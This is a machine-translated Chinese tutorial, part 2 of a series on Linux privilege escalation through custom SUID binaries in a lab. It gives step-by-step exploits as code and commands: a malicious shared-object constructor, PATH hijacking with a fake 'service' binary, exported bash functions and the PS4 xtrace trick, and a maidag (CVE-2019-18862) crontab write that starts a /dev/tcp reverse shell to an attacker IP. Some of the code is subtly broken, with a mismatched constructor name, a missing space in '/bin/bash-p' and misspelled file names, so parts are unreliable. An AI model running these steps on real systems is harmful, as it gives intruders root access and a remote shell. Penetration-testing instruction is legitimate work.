本文透過 Google 翻譯 SUID | SGID Part-2 – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。
導航
- 0 前言
- 1 上文回顧
- 2 列舉自定義 SUID 二進位制檔案
- 3 利用 SUID 二進位制檔案 – 共享物件注入
- 3.1 使用 Strings 和 Strace 提取資訊
- 3.2 製作惡意共享物件檔案
- 4 利用 SUID 二進位制檔案 – PATH 注入
- 4.1 設定漏洞並獲取 Root Shell
- 4.1.1 編輯 PATH 環境變數
- 4.1.2 直接針對受害者製造漏洞
- 4.1.3 利用 suid-path 獲取 Root Shell
- 4.1 設定漏洞並獲取 Root Shell
- 5 利用 SUID 二進位制檔案 – 濫用 Shell 功能
- 5.1 函式 – Bash 的秘密力量
- 5.2 使用 Bash 函式獲取Root Shell – 利用一
- 5.3 更新 Bash 漏洞 – 利用二
- 6 利用 SUID 二進位制檔案 – 第三方程式中打包的二進位制檔案
- 6.1 確定 Maidag 的版本以查詢漏洞
- 6.2 新增惡意 Cron 作業並獲取 Root Shell
0、前言
在這篇文章中,我們將繼續討論透過濫用 SUID 和 SGID 許可權來提升許可權的文章的第 2 部分。
如果您尚未檢視第 1 部分,我強烈建議您在閱讀本文之前先從第 1 部分開始。
在第 2 部分中,我們將回顧三種不同的自定義二進位制檔案,這些二進位制檔案都可以透過不同的方式被利用,利用方式包括:共享物件注入、PATH 注入、濫用 Shell 功能。
此外,我們還將審查第四種既非標準也非自定義的二進位制檔案,它完全屬於另外一種類別。
在我們開始討論漏洞利用示例之前,讓我們快速回顧一下第 1 部分中介紹的內容。
1、上文回顧
在這篇文章的第 1 部分中,我們瞭解到:
- 這三種特殊許可權是什麼以及它們如何工作 – SUID、SGID 和 Sticky
- 如何手動搜尋 SUID 和 SGID 二進位制檔案
- 關於 LinPEAS 和 SUID3NUM 等可以幫我們搜尋 SUID 二進位制檔案的工具
- GTFOBins 是什麼以及如何使用它
- 如何利用六種不同的標準 SUID 二進位制檔案:env、find、tail、nano、cp、wget
在第一篇文章中列舉和利用 SUID 二進位制檔案之前,我們假設已在受害者身上獲得了初步立足點。
除了使用 LinPEAS 和 SUID3NUM 在受害者主機上發現的 6 個標準二進位制檔案之外,我們還發現了 4 個看起來很有趣的自定義二進位制檔案。
現在我們已經利用了六個標準二進位制檔案,在本文的第 2 部分,我們將把重點轉移到利用四個自定義二進位制檔案:suid-so、suid-path、suid-sf、maidag。
2、列舉自定義 SUID 二進位制檔案
在系統上發現一些自定義二進位制檔案後,我們需要進一步列舉它們。
由於這些二進位制檔案是自定義的,我們很可能無法在 GTFOBins 上找到“快速獲勝”的方法,因此我們需要進一步瞭解自定義二進位制檔案,以確定它們是否可以被利用。
在列舉自定義 SUID 二進位制檔案時,可以遵循以下“檢查表”:
- 與二進位制檔案互動 – 執行它,看看它做了什麼
- 在 GTFOBins 上檢查詞條 – 可能工具顯示它不在 GTFOBins 上,但無論如何都要檢查一下
- 查詢版本號 – 並在 Google 查詢漏洞
- 從二進位制檔案中提取字串 – 查詢在程式執行時載入/執行的共享庫或二進位制檔案
- 除錯程式 – 深入瞭解程式的工作原理
最後需要提到的是,自定義二進位制檔案通常有兩種型別。
型別 1 :使用者為特定任務或目的製作的內部二進位制檔案。這些通常非常基本並且很容易發現。
型別 2 :通常與第三方程式一起打包/交付的自定義二進位制檔案。這些通常具有公開已知的漏洞並分配有 CVE。
在下面的每個示例中,我們都將執行該“檢查表”來查詢漏洞,然後加以利用。
好吧,現在我們都已經瞭解了,讓我們開始討論一些漏洞利用示例。
3、利用 SUID 二進位制檔案 – 共享物件注入
在利用自定義 SUID 二進位制檔案的第一個示例中,我們將檢視在列舉期間找到的 suid-so 二進位制檔案。
由於我們不熟悉這個二進位制檔案,因此我們應該做的第一件事就是與它進行互動,看看它做了什麼。
/usr/bin/suid-so
在這裡我們可以看到,它計算了一些東西,達到 99%,然後完成並退出。
遺憾的是,這並不能讓我們對這個二進位制有多少了解。
嘗試執行二進位制檔案後,我們應該檢查的下一件事是該二進位制檔案是否在 GTFOBins 上。
幸運的是(或者說不幸的是),SUID3NUM 已經確定了 GTFOBins 上列出的二進位制檔案,而這並不是其中之一。
現在我們知道這個二進位制檔案在 GTFOBins 上沒有“快速獲勝”的方法,那麼接下來我們應該做的就是檢查二進位制檔案本身。
3.1、使用 Strings 和 Strace 提取資訊
首先,我們可以使用 strings 命令來檢視執行期間是否載入了任何二進位制檔案或共享庫。
strings /usr/bin/suid-so
有趣的是,似乎在執行過程中從我們當前使用者的主目錄下載入了一個共享物件。
由於我們在主目錄中有寫許可權,因此我們應該能夠用惡意內容替換 libcalc.so。
在嘗試利用這一點之前,讓我們透過除錯來仔細看看二進位制檔案在執行時在做什麼。
對於我們的用例,我們最感興趣的是檢視程式執行時載入的內容,這就是為什麼我們將使用 strace 進行除錯。
Strace 監視特定程式的系統呼叫和訊號,並提供從開始到結束的執行順序。當您沒有原始碼並且想要除錯程式的執行時,它會很有幫助。
strace /usr/local/bin/suid-so 2>&1 | less
基本上,在除錯程式時我們要查詢兩件事:哪些共享庫正在載入,以及它們是從哪裡被載入。
其實,程式是否能找到共享物件並不重要,最重要的是,找到的共享物件它所在的目錄我們是否有寫入許可權。
現在知道了我們真正要尋找的目的,那我們就可以改進這條命令,用 grep 命令查詢從非預設位置執行的任何 .so 檔案。
目錄: /lib、/usr/lib、/usr/local/lib 是儲存共享庫的預設位置。
strace /usr/bin/suid-so 2>&1 | grep -v '/lib/\|/usr/\|/etc/' | grep -i '\.so'
與使用 strings 命令類似,我們找到了從當前使用者主目錄執行的 libcalc.so 檔案。
這也證實了共享物件檔案就是在執行過程中被載入的,這意味著它是可利用的。
3.2、製作惡意共享物件檔案
至此,我們已經確認有一個共享庫是從一個非標準目錄載入的,而這個目錄恰好是我們當前的使用者主目錄,而我們在主目錄中是擁有寫入許可權的。
綜上所述,剩下唯一要做的就是製作一個名為 licalc.so 的惡意共享物件檔案,並將其放置在 /home/user/.config 目錄中。
導航到 /home/user/.config ,我們可以看到該目錄中沒有libcal.so檔案。
由於 libcalc.so 檔案不存在,我們需要建立它。
為此,我們將建立一個惡意 C 程式,然後將其編譯為共享目標檔案。
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void _inject() {
system("/bin/bash -p");
}
由於 suid-so 二進位制檔案由 root 擁有並設定了 SUID 位,因此當它執行時,我們的惡意共享物件檔案將由程式載入並以 root 身份執行。
接下來,我們需要將C程式編譯成共享目標檔案。
gcc -shared -fPIC libcalc.c -o /home/user/.config/libcalc.so
Perfect,我們的 libcalc.so 惡意副本已建立並可供使用。
現在我們要做的就是執行 suid-so 二進位制檔案。執行後,它將載入 lcalc 共享庫。載入完成後,它將執行惡意版本的 libcalc.so,並將我們直接拖入 root shell。
/usr/bin/suid-so
在這裡,可以看到程式開始正常執行,接著惡意共享物件被載入,然後我們就進入了一個 root shell 環境!
4、利用 SUID 二進位制檔案 – PATH 注入
繼續討論自定義 SUID 二進位制檔案的第二個示例,我們將檢視在列舉過程中找到的 suid-path 二進位制檔案。
正如我們在上一個示例中看到的那樣,當面對我們不熟悉的二進位制檔案時,我們要做的第一件事就是執行它以檢視它的作用。
/usr/bin/suid-path
有趣的是,在這裡我們可以看到二進位制檔案似乎正在檢查 SSH 服務的狀態。
現在我們已經瞭解了二進位制檔案正在做什麼,下一步是檢查 GTFObins 以“快速獲勝”。
但是,我們已經知道這是一個自定義二進位制檔案,GTFObins 是不會列出它的。
接下來,我們要做的就是嘗試從二進位制檔案中提取字串。這可以幫助我們確定在執行過程中是否載入了任何有趣的二進位制檔案。
strings /usr/bin/suid-path
Amazing!在字串中,我們可以看到二進位制檔案中使用了命令 service ssh status。
之前執行 suid-path 二進位制檔案時,我們注意到它會檢查 SSH 服務的狀態,現在我們知道了輸出的來源指令。
關於命令 service ssh status 需要注意的一件事是:service 二進位制檔案沒有使用絕對路徑。
這就為 PATH 注入漏洞開啟了大門。
4.1、設定漏洞並獲取 Root Shell
現在我們已經發現了這個漏洞,接下來需要做一些事情來設定我們的漏洞。
4.1.1、編輯 PATH 環境變數
我們需要做的第一件事是編輯 PATH 變數以包含可寫目錄。
PATH 環境變數是 Linux 在執行命令時用於搜尋二進位制檔案的有序路徑列表。僅當執行命令而不指定二進位制檔案的絕對路徑時,才使用 PATH。
目前,我們的 PATH 列出了預設目錄,我們可以使用以下命令檢視這些目錄:
echo $PATH
當命令 service ssh status 由 suid-path 二進位制檔案執行時,它是在不使用絕對路徑的情況下完成的。這意味著系統將從左到右檢查 PATH 環境變數中列出的每個目錄中是否有 service 二進位制檔案,然後從找到的第一個目錄執行它。
現在我們知道 PATH 環境變數是如何工作的,我們應該開始考慮如何使用這些知識來利用命令 service ssh status。
上述 PATH 中的所有預設目錄對於標準使用者來說都是不可寫的,這意味著我們需要新增一個新的目錄。
任何使用者都可以編輯自己的 PATH。並且,新增到使用者 PATH 的任何新目錄都會放置在最左側。
例如,我們可以將一個可寫目錄新增到我們的 PATH 中,如下所示:
export PATH=/tmp:$PATH
現在,當我們再次檢查 PATH 變數時,我們可以看到 /tmp 位於最左側。
這意味著在沒有二進位制檔案絕對路徑的情況下執行的任何命令都將首先檢查 /tmp。
現在我們需要做的就是製作一個名為 service 的惡意二進位制檔案並將其放置在 /tmp 目錄中。
4.1.2、直接針對受害者製造漏洞
從上一個示例中我們知道 gcc 已安裝在受害者上,因此我們可以直接在受害者上製作漏洞利用程式,然後對其進行編譯。
首先,我們需要導航到 /tmp 資料夾,然後執行以下命令來製作惡意 C 程式:
echo '#include <stdio.h>' > service.c
echo '#include <stdlib.h>' >> service.c
echo '' >> service.c
echo 'int main(){' >> service.c
echo ' system("cp /bin/bash /tmp && chmod +s /tmp/bash");' >> service.c
echo ' return 0;' >> service.c
echo '}' >> service.c
我們的惡意 C 程式看起來不錯,現在需要做的就是編譯它,然後再次執行 suid-path 程式。
gcc /tmp/service.c -o /tmp/service
Perfect!我們的漏洞已經準備好了。現在,當我們執行 suid-path 時,程式將沿著 PATH 查詢 service 命令。
因為我們將 /tmp 新增到我們的 PATH 中,所以程式將首先在 /tmp 目錄中搜尋並執行我們的惡意版本的 service。
執行後,我們的惡意 service 二進位制檔案會將 /bin/bash 複製到 /tmp 中,然後向其新增 SUID 位。
4.1.3、利用 suid-path 獲取 Root Shell
現在到了關鍵時刻。
/usr/bin/suid-path
Boom!我們劫持了執行路徑,並讓 suid-path 程式執行我們的漏洞利用程式,而不是真正的 service 二進位制檔案。
現在,在 /tmp 目錄中出現了新增 SUID 位的 bash 副本,我們可以輕鬆地進入 root shell 了。
/tmp/bash -p
5、利用 SUID 二進位制檔案 – 濫用 Shell 功能
這個例子與前兩個例子有些不同,因為這個例子在一定程度上需要利用鏈。
讓我們看一下第三個自定義二進位制檔案:suid-sf
首先,我們將執行程式看看它能做些什麼,這將幫助我們建立對自定義二進位制檔案的第一印象。
/usr/bin/suid-sf
執行 suid-sf 會執行一些操作,但它不會產生任何輸出。
我們可以檢查的另一件事是幫助選單。
/usr/bin/suid-sf --help
結果沒有輸出任何資訊。
接下來,我們將跳過 GTFOBins 檢查,因為這是一個不會被列出的自定義二進位制檔案。
接下來,我們將從二進位制檔案中提取字串,以幫助我們確定在執行期間是否正在載入任何其他有趣的二進位制檔案。
strings /usr/bin/suid-sf
Amazing!我們能夠發現正在執行的一個有趣的命令,就像上次一樣,它正在使用 service 二進位制檔案。
與用於檢查 SSH 服務狀態的 suid-path 二進位制檔案不同,此二進位制檔案啟動該服務。但此示例與上一個示例之間還有一個主要區別就是:此示例使用了二進位制檔案的絕對路徑。
因為使用的是絕對路徑,所以我們將無法像上次那樣進行 PATH 注入攻擊。
此外,使用絕對路徑利用二進位制檔案的唯一途徑是,我們在二進位制檔案所在目錄中擁有寫入許可權。這樣,我們就可以用惡意軟體替換二進位制檔案,類似於我們在 suid-so 示例中的做法。
檢查我們是否在 /usr/bin 目錄中具有寫入許可權,結果表明我們沒有,這也是預料之中的事。
ls -l /usr | grep "bin"
預設情況下,標準使用者無法寫入 /usr/bin目錄。
5.1、函式 – Bash 的秘密力量
由於自定義 suid-sf 二進位制檔案使用的是 service 二進位制檔案的絕對路徑,而除非我們在二進位制檔案所在目錄中擁有寫入許可權,否則無法利用這一點。
雖然這是事實,但這是片面的思維。
有時,事情並不總是表面上看起來的那麼脆弱,但作為一名熟練的攻擊者,我們需要知道如何擴充我們的思維。本質上,如果我們的直覺告訴我們某事看起來很脆弱,那麼我們應該相信這種直覺。
話雖如此,我們仍需要進一步列舉,以嘗試更好地理解執行該二進位制檔案時發生的所有情況。
在這種情況下,我們可以檢查受害者上執行的 bash 版本。
/bin/bash --version
Great!我們可以看到這是 bash 的早期版本 – 4.1.5。
某些版本的 Bash (<4.2-048) 允許您定義與絕對路徑同名的函式。然後,它們的優先順序高於實際的可執行檔案本身。
由於受害者執行的 bash 版本早於 4.2-048,因此 bash 的版本足夠舊,允許我們自定義函式。
由於 bash 是我們的預設直譯器,因此我們可以建立一個函式,然後將其匯出到環境變數中。這將強制 /usr/sbin/service 執行我們選擇的任意命令。
因為 SUID 位是在 suid-sf 二進位制檔案上傳送的,所以它將以 root 身份執行 /usr/bin/service 並執行我們在函式中定義的命令。
現在讓我們看看如何將 bash 漏洞與自定義 SUID 二進位制檔案連結在一起,以將我們的許可權提升為 root。
5.2、使用 Bash 函式獲取 Root Shell – 利用一
此時,我們需要做的就是建立一個函式,用惡意內容覆蓋 service 二進位制檔案的執行。
為了瞭解其工作原理,讓我們做一個建立 whoami.txt 檔案的 POC。
首先我們需要建立測試函式:
function /usr/sbin/service() { whoami > whoami.txt; }
建立 POC 函式後,我們需要將其匯出到環境變數中。
export -f /usr/sbin/service
Perfect!可以看到我們的環境變數已經更新,幷包含新建立的函式。
現在,我們所要做的就是執行 service 二進位制檔案,然後檢查 /tmp 資料夾,檢視是否建立了一個名為 whoami.txt 的新檔案。
/usr/sbin/service
POC 成功,這證實了 service 二進位制檔案正在使用我們建立的函式。
在確認該功能正常執行後,我們現在知道我們可以利用它來進行惡意攻擊。
我們可以建立一個函式,將我們直接帶入 root shell,如下所示:
function /usr/sbin/service() { /bin/bash-p; }
現在我們已經建立了惡意函式,我們需要再次將其匯出到環境變數中。
export -f /usr/sbin/service
可以看到環境變數已更新為進入一個 shell,而不是寫入 whoami.txt 檔案。
接下來要做的就是執行 suid-sf 二進位制檔案。
一旦執行,/usr/bin/service 將被載入,我們的惡意函式將代替真正的 service 二進位制檔案而被執行。由於 suid-sf 二進位制檔案新增了 SUID 位,因此會以 root 身份執行,並將我們拖入 root shell。
/usr/bin/suid-sf
5.3、更新 Bash 漏洞 – 利用二
在對 bash 進行修改以刪除與函式相關的漏洞後,又發現了一種可在 <4.4 版本的 bash 上執行的解決方法。
在 4.4 之前的 bash 版本上,我們可以開啟 debuging 並設定 PS4 變數,這本質上是利用除錯模式生成除錯語句(或者換句話說,執行命令)的額外提示的能力。
假設之前我們列舉 bash 時,發現它的版本是 4.3.48。
由於這個版本<4.4,我們可以使用以下命令將我們的除錯語句(命令)注入到 suid-sf 二進位制檔案的執行中,然後執行它。
這應該會立即生成 root shell。
env -i SHELLOPTS=xtrace PS4='$(/bin/bash -p)' /usr/bin/suid-sf
Cool!儘管自定義 SUID 二進位制檔案使用 service 二進位制檔案的絕對路徑,但我們仍然能夠利用兩個不同版本的 bash 中存在的漏洞來獲取 root shell。
不幸的是,漏洞利用示例中的兩個 bash 版本都非常古老(已超過 10 年)。因此,這個漏洞並不常見。
6、利用 SUID 二進位制檔案 – 第三方程式中打包的二進位制檔案
對於利用自定義 SUID 二進位制檔案的最後一個示例,我們將研究在第三方程式中打包的 SUID 二進位制檔案的不同情況。
讓我們看一下在列舉過程中發現的 maidag 二進位制檔案。
正如我們在前面所有示例中所做的那樣,當面對我們不熟悉的二進位制檔案時,我們執行它來看看它會做什麼。
/usr/local/sbin/maidag
就像上一個例子一樣,當執行這個二進位制檔案時沒有輸出。
接下來,我們應該檢查是否有幫助選單,因為這通常會發現有關二進位制檔案的一些有用資訊(如果存在的話)。
/usr/local/sbin/maidag --help
在這裡我們可以看到二進位制檔案確實有一個幫助選單,這意味著它不是一個簡單的“內部”自定義二進位制檔案。這告訴我們 maidag 是 “GNU maidag – 郵件傳遞代理”。
這很有趣,可能會在 GTFOBins 上列出,所以我們應該檢查一下。
不幸的是,我們沒有在 GTFOBins 上找到 maidag 二進位制檔案。
6.1、確定 Maidag 的版本以查詢漏洞
由於這是與第三方程式打包在一起的二進位制檔案,因此我們這次不想首先就以檢查字串或除錯的方式進行。對於像這樣複雜的二進位制檔案,檢查字串或除錯將是最後的手段。
接下來,我們將嘗試獲取二進位制檔案的版本,以便我們可以在 Google 上檢視是否有任何可用的公開漏洞能夠利用。
/usr/local/sbin/maidag --version
Cool!我們能夠提取到 maidag 的版本是 3.7。
一旦找到版本,我們就可以透過該資訊在 Google 查詢。
好吧,這次搜尋帶來了一些好東西。我們可以看到,maidag 2.0 – 3.7 版本存在檔案寫入漏洞。
此外,我們可以看到 Exploit-DB 上有一個針對此漏洞的利用,並且為此漏洞分配了一個 CVE:CVE-2019-18862
當 Exploit-DB 上有可用的漏洞時,代表它已經在 Kali 上,也就是可以使用 searchsploit 獲取到副本。
Searchsploit 是 Exploit-DB 的命令列搜尋工具,它還允許您在本地儲存的儲存庫中執行詳細的離線搜尋。
讓我們在攻擊者的機器上獲取一份副本並仔細觀察。
searchsploit mailutils
原來這不是一個指令碼,它實際上是一個 TXT 檔案。這意味著它將向我們展示手動執行漏洞利用的步驟,而不是為我們直接利用它。
無論如何,我們應該將其複製到我們的工作目錄中以檢視該漏洞是如何工作的。
searchsploit -m 47703
讀取TXT檔案,顯示如下:
看起來很簡單,而且我們不需要指令碼來自動完成這項工作。
在上面的 Google 搜尋中,GitHub 上有一個漏洞利用程式,它以兩種不同的方式為您自動執行此漏洞利用程式。
6.2、新增惡意 Cron 作業並獲取 Root Shell
首先,我們將在受害者上製作一個有效負載,該有效負載將在我們建立的 cron 作業中執行。
但首先,我們需要快速確認 cron 守護程序正在執行。
service cron status
Great!它正在執行,所以我們知道這個漏洞應該有效。
在本例中,我們將在 /dev/shm 目錄中製作一個有效載荷,以向攻擊者機器發回反向 shell。
cd /dev/shm
echo '#!/bin/bash' > rootme.sh
echo '' >> rootme.sh
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> rootme.sh
好了,指令碼已經制作好了,現在只需要設定執行許可權即可。
chmod 755 /dev/shm/rootme.sh
接下來,我們需要建立 crontab.in 檔案,將我們的惡意 cron 作業寫入 crontab。
請注意,描述說要使此功能正常工作,請將 crontab.in 檔案的第一行留空。
echo '' > crontab.in
echo '* * * * * root /dev/shm/rootme.sh' >> crontab.in
最後,我們準備執行 maidag 二進位制檔案並將惡意條目注入到 crontab 中。
/usr/local/sbin/maidag --url /etc/crontab < /dev/shm/crontab.in
執行 maidag 二進位制檔案後,我們可以看到它有效並且 crontab 已更新!
這將每分鐘執行一次 cron 作業並執行我們以 root 身份建立的惡意 rootme.sh 指令碼。
剩下要做的就是在我們的攻擊者機器上啟動一個 netcat 監聽器,然後等待 root shell 進入。
不到一分鐘,root shell 就登入了!